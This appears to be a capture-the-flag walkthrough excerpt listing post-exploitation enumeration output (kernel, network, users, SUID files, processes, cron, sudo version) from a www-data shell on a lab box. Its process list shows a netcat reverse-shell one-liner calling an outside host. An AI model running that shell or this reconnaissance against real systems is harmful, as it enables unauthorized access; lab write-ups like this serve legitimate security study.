System/Kernel
www-data@monitorsthree:~/html/cacti/resource$ file /bin/bash ; uname -a ; cat /etc/*release
/bin/bash: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7a6408ba82a2d86dd98f1f75ac8edcb695f6fd60, for GNU/Linux 3.2.0, stripped
Linux monitorsthree 5.15.0-118-generic #128-Ubuntu SMP Fri Jul 5 09:28:59 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=22.04
DISTRIB_CODENAME=jammy
DISTRIB_DESCRIPTION="Ubuntu 22.04.4 LTS"
PRETTY_NAME="Ubuntu 22.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.4 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammyELF 64-bit
Ubuntu 22.04.4 LTS (Jammy Jellyfish)
5.15.0-118-generic
Networks
www-data@monitorsthree:~/html/cacti/resource$ ip route ; arp -a
ip route ; arp -a
default via 10.129.0.1 dev eth0
10.129.0.0/16 dev eth0 proto kernel scope link src 10.129.178.64
172.17.0.0/16 dev docker0 proto kernel scope link src 172.17.0.1 linkdown
172.18.0.0/16 dev br-c7b83e1b07b0 proto kernel scope link src 172.18.0.1
? (10.129.0.1) at 00:50:56:94:39:11 [ether] on eth0
? (172.18.0.2) at 02:42:ac:12:00:02 [ether] on br-c7b83e1b07b0172.17.0.1
172.18.0.1
www-data@monitorsthree:~/html/cacti/resource$ netstat -antup4
netstat -antup4
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:8200 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1227/nginx: worker
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:38673 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8084 0.0.0.0:* LISTEN 1209/mono
tcp 0 16 10.129.178.64:36538 10.10.15.34:9999 ESTABLISHED 26879/nc
udp 0 0 127.0.0.1:47338 127.0.0.53:53 ESTABLISHED -
udp 0 0 10.129.178.64:45472 1.1.1.1:53 ESTABLISHED -
udp 0 0 10.129.178.64:55916 1.1.1.1:53 ESTABLISHED -
udp 0 0 10.129.178.64:37894 1.1.1.1:53 ESTABLISHED -
udp 0 0 10.129.178.64:35874 1.1.1.1:53 ESTABLISHED -
udp 0 0 10.129.178.64:46134 8.8.8.8:53 ESTABLISHED -
udp 0 0 10.129.178.64:40284 8.8.8.8:53 ESTABLISHED -
udp 0 0 10.129.178.64:57294 8.8.8.8:53 ESTABLISHED -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 10.129.178.64:51255 8.8.8.8:53 ESTABLISHED -
udp 0 0 0.0.0.0:68 0.0.0.0:* - 127.0.0.1:8200
127.0.0.1:3306
0.0.0.0:8084
Users & Groups
www-data@monitorsthree:~/html/cacti/resource$ cat /etc/passwd ; ll /home
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
marcus:x:1000:1000:Marcus:/home/marcus:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
Debian-snmp:x:115:121::/var/lib/snmp:/bin/false
dnsmasq:x:116:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
total 12K
4.0K drwxr-xr-x 18 root root 4.0K Aug 19 13:00 ..
4.0K drwxr-x--- 4 marcus marcus 4.0K Aug 16 11:35 marcus
4.0K drwxr-xr-x 3 root root 4.0K May 26 16:34 .marcus
www-data@monitorsthree:~/html/cacti/resource$ cut -d: -f1 /etc/passwd | xargs -n1 id
1 id-d: -f1 /etc/passwd | xargs -n1
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=101(systemd-network) gid=102(systemd-network) groups=102(systemd-network)
uid=102(systemd-resolve) gid=103(systemd-resolve) groups=103(systemd-resolve)
uid=103(messagebus) gid=104(messagebus) groups=104(messagebus)
uid=104(systemd-timesync) gid=105(systemd-timesync) groups=105(systemd-timesync)
uid=105(pollinate) gid=1(daemon) groups=1(daemon)
uid=106(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=107(syslog) gid=113(syslog) groups=113(syslog),4(adm)
uid=108(uuidd) gid=114(uuidd) groups=114(uuidd)
uid=109(tcpdump) gid=115(tcpdump) groups=115(tcpdump)
uid=110(tss) gid=116(tss) groups=116(tss)
uid=111(landscape) gid=117(landscape) groups=117(landscape)
uid=112(fwupd-refresh) gid=118(fwupd-refresh) groups=118(fwupd-refresh)
uid=113(usbmux) gid=46(plugdev) groups=46(plugdev)
uid=1000(marcus) gid=1000(marcus) groups=1000(marcus)
uid=999(lxd) gid=100(users) groups=100(users)
uid=114(mysql) gid=119(mysql) groups=119(mysql)
uid=115(Debian-snmp) gid=121(Debian-snmp) groups=121(Debian-snmp)
uid=116(dnsmasq) gid=65534(nogroup) groups=65534(nogroup)
uid=998(_laurel) gid=998(_laurel) groups=998(_laurel)uid=1000(marcus) gid=1000(marcus) groups=1000(marcus)
SUIDs
www-data@monitorsthree:~/html/cacti/resource$ finfind / -perm -04000 -ls -type f 2>/dev/null
36493 332 -rwsr-xr-x 1 root root 338536 Jun 26 13:11 /usr/lib/openssh/ssh-keysign
1410 36 -rwsr-xr-- 1 root messagebus 35112 Oct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
11998 72 -rwsr-xr-x 1 root root 72072 Feb 6 2024 /usr/bin/gpasswd
11303 36 -rwsr-xr-x 1 root root 35200 Apr 9 15:32 /usr/bin/umount
11999 60 -rwsr-xr-x 1 root root 59976 Feb 6 2024 /usr/bin/passwd
680 36 -rwsr-xr-x 1 root root 35200 Mar 23 2022 /usr/bin/fusermount3
1112 228 -rwsr-xr-x 1 root root 232416 Apr 3 2023 /usr/bin/sudo
11995 72 -rwsr-xr-x 1 root root 72712 Feb 6 2024 /usr/bin/chfn
11285 48 -rwsr-xr-x 1 root root 47488 Apr 9 15:32 /usr/bin/mount
16020 40 -rwsr-xr-x 1 root root 40496 Feb 6 2024 /usr/bin/newgrp
1517 56 -rwsr-xr-x 1 root root 55680 Apr 9 15:32 /usr/bin/su
11996 44 -rwsr-xr-x 1 root root 44808 Feb 6 2024 /usr/bin/chsh
13735 20 -rwsr-xr-x 1 root root 18736 Feb 26 2022 /usr/libexec/polkit-agent-helper-1SGIDs
www-data@monitorsthree:~/html/cacti/resource$ find / -perm -02000 -ls -type f 2>/dev/null
/dev/nullerm -02000 -ls -type f 2>/
13585 16 -rwxr-sr-x 1 root utmp 14488 Mar 24 2022 /usr/lib/x86_64-linux-gnu/utempter/utempter
11084 24 -rwxr-sr-x 1 root shadow 22680 Jan 10 2024 /usr/sbin/pam_extrausers_chkpwd
11208 28 -rwxr-sr-x 1 root shadow 26776 Jan 10 2024 /usr/sbin/unix_chkpwd
11994 72 -rwxr-sr-x 1 root shadow 72184 Feb 6 2024 /usr/bin/chage
36478 288 -rwxr-sr-x 1 root _ssh 293304 Jun 26 13:11 /usr/bin/ssh-agent
596 40 -rwxr-sr-x 1 root crontab 39568 Mar 23 2022 /usr/bin/crontab
11997 24 -rwxr-sr-x 1 root shadow 23136 Feb 6 2024 /usr/bin/expiry
48076 308 -rwxr-sr-x 1 root plocate 313904 Feb 17 2022 /usr/bin/plocate
43785 4 drwxrwsr-x 2 root staff 4096 May 18 21:44 /usr/local/share/fonts
42943 4 drwxr-s--- 2 mysql adm 4096 May 18 21:44 /var/log/mysql
37207 4 drwxr-sr-x 3 root systemd-journal 4096 May 18 21:39 /var/log/journal
655 4 drwxr-sr-x 2 root systemd-journal 4096 Aug 25 15:35 /var/log/journal/0438086a019b422db9279b2d12da25c3
35879 4 drwxrwsr-x 2 root staff 4096 Apr 18 2022 /var/local
35881 4 drwxrwsr-x 2 root mail 4096 Aug 10 2023 /var/mail
635 0 drwxr-sr-x 2 root systemd-journal 40 Aug 24 23:02 /run/log/journalProcesses
www-data@monitorsthree:~/html/cacti/resource$ ps ps -auxwww
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
www-data 1209 0.0 1.0 283924 41644 ? Sl Aug24 0:01 /usr/bin/mono /usr/lib/mono/4.5/xsp4.exe --port 8084 --address 0.0.0.0 --appconfigdir /etc/xsp4 --nonstop
www-data 1227 0.1 0.2 86432 8744 ? S Aug24 1:42 nginx: worker process
www-data 1229 0.3 0.2 86536 8820 ? S Aug24 3:22 nginx: worker process
www-data 1685 0.0 0.4 131588 18232 ? S Aug24 0:04 php /var/www/html/cacti/cactid.php
www-data 26874 0.0 0.0 2892 1040 ? S 17:08 0:00 sh -c rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.15.34 9999 >/tmp/f
www-data 26877 0.0 0.0 2932 1036 ? S 17:08 0:00 cat /tmp/f
www-data 26878 0.0 0.0 4628 3900 ? S 17:08 0:00 bash -i
www-data 26879 0.0 0.0 3536 2068 ? S 17:08 0:00 nc 10.10.15.34 9999
www-data 27185 0.0 0.0 7316 3348 ? R 17:15 0:00 ps -auxwwwww/usr/bin/mono /usr/lib/mono/4.5/xsp4.exe --port 8084 --address 0.0.0.0 --appconfigdir /etc/xsp4 --nonstop
Cron & Systemd
www-data@monitorsthree:~/html/cacti/resource$ crocrontab -l ; cat /etc/crontab ; systemctl list-timers
no crontab for www-data
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
NEXT LEFT LAST PASSED UNIT ACTIVATES
Sun 2024-08-25 17:39:00 UTC 22min left Sun 2024-08-25 17:09:00 UTC 7min ago phpsessionclean.timer phpsessionclean.service
Sun 2024-08-25 18:30:20 UTC 1h 13min left Sun 2024-08-25 13:47:59 UTC 3h 28min ago apt-daily.timer apt-daily.service
Sun 2024-08-25 20:52:44 UTC 3h 36min left Sun 2024-08-25 02:44:07 UTC 14h ago motd-news.timer motd-news.service
Sun 2024-08-25 23:07:39 UTC 5h 51min left Sat 2024-08-24 23:07:39 UTC 18h ago update-notifier-download.timer update-notifier-download.service
Sun 2024-08-25 23:17:33 UTC 6h left Sat 2024-08-24 23:17:33 UTC 17h ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
Mon 2024-08-26 00:00:00 UTC 6h left Sun 2024-08-25 00:00:02 UTC 17h ago dpkg-db-backup.timer dpkg-db-backup.service
Mon 2024-08-26 00:00:00 UTC 6h left Sun 2024-08-25 00:00:02 UTC 17h ago logrotate.timer logrotate.service
Mon 2024-08-26 00:29:57 UTC 7h left Mon 2024-08-19 12:11:38 UTC 6 days ago fstrim.timer fstrim.service
Mon 2024-08-26 00:56:03 UTC 7h left Sun 2024-08-25 09:34:27 UTC 7h ago fwupd-refresh.timer fwupd-refresh.service
Mon 2024-08-26 06:29:54 UTC 13h left Sun 2024-08-25 06:31:35 UTC 10h ago apt-daily-upgrade.timer apt-daily-upgrade.service
Mon 2024-08-26 10:43:26 UTC 17h left Sun 2024-08-25 02:16:44 UTC 14h ago plocate-updatedb.timer plocate-updatedb.service
Mon 2024-08-26 11:56:37 UTC 18h left Sun 2024-08-25 00:39:48 UTC 16h ago man-db.timer man-db.service
Mon 2024-08-26 12:52:09 UTC 19h left Wed 2024-05-22 13:29:05 UTC 3 months 3 days ago update-notifier-motd.timer update-notifier-motd.service
Sun 2024-09-01 03:10:19 UTC 6 days left Sun 2024-08-25 03:10:54 UTC 14h ago e2scrub_all.timer e2scrub_all.service
14 timers listed.
Pass --all to see loaded but inactive timers, too.Sudo Version
www-data@monitorsthree:~/html/cacti/resource$ sudo --version
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9Sudo version 1.9.9
Glibc Version
www-data@monitorsthree:~/html/cacti/resource$ ldd --version
ldd (Ubuntu GLIBC 2.35-0ubuntu3.8) 2.35
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.ldd (Ubuntu GLIBC 2.35-0ubuntu3.8) 2.35